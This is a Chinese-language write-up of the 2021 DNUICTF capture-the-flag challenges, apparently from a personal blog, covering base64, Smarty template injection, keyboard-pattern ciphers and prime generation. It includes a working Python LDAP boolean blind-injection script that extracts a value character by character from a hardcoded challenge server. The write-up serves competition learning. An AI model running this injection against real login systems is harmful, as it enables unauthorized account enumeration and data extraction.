Back

2021DNUICTF,wp

第一届DNUICTF

WEB

[签到] flag

凑齐20位,召唤flag

ZmxhZ3tuc3NfbG9naW59

base64解码

flag{nss_login}

[萌]odd_upload

Smarty

ssti模板注入,文件覆盖

自己找个Smarty版本,对比目录着传

访问index.php

easyinject

通过报错发现是ldap

现学一波,没学明白

LDAP查询语法

search语法:attribute operator value
search filter options:( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))

但是题目原因,可以通过布尔盲注来确定用户名

import requests

url = 'http://47.106.172.144:2333'

flag, done = 'LDAP', False
while not done:
    for j in range(33, 127):
        payload = flag + chr(j) + '*'
        data = {'user': payload, 'pass': '123'}
        r = requests.get(url, params=data)
        
        if '密码错误' in r.text or '查询用户不唯一' in r.text:
            flag += chr(j)
            print(flag)
            break
    else:
        done = True

print('flag{' + flag.lower() + '}')

还就跑出来了

MISC

[签到]签到

flag{Dnui_ctf_2021_s1gn_in}

[萌新]在哪呢

ctrl+f

只是个PNG,别想太多了.png

binwalk一分,010一看

CRYPTO

[签到]键盘侠

UYTGBNM EDCV UYTGBNM TGBUHM YTFVBH QAZXCDE TYUHN EDCTGBF RFVYGN

flag{} 提交时括号内为大写字母

键盘画图

CLCKOUTHK

[萌新]素数

10个不重复的长度>=1024bits的素数

import gmpy2
from gmpy2 import mpz

rs = gmpy2.random_state()

def gen_prime():
    p = gmpy2.mpz_urandomb(rs, 1024)
    while not gmpy2.is_prime(p):
        p = gmpy2.add(p, 1)
    return p

for i in range(100):
    p = gen_prime()
    print(p)

多弄几遍,有时候生成的数不是309位整数

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0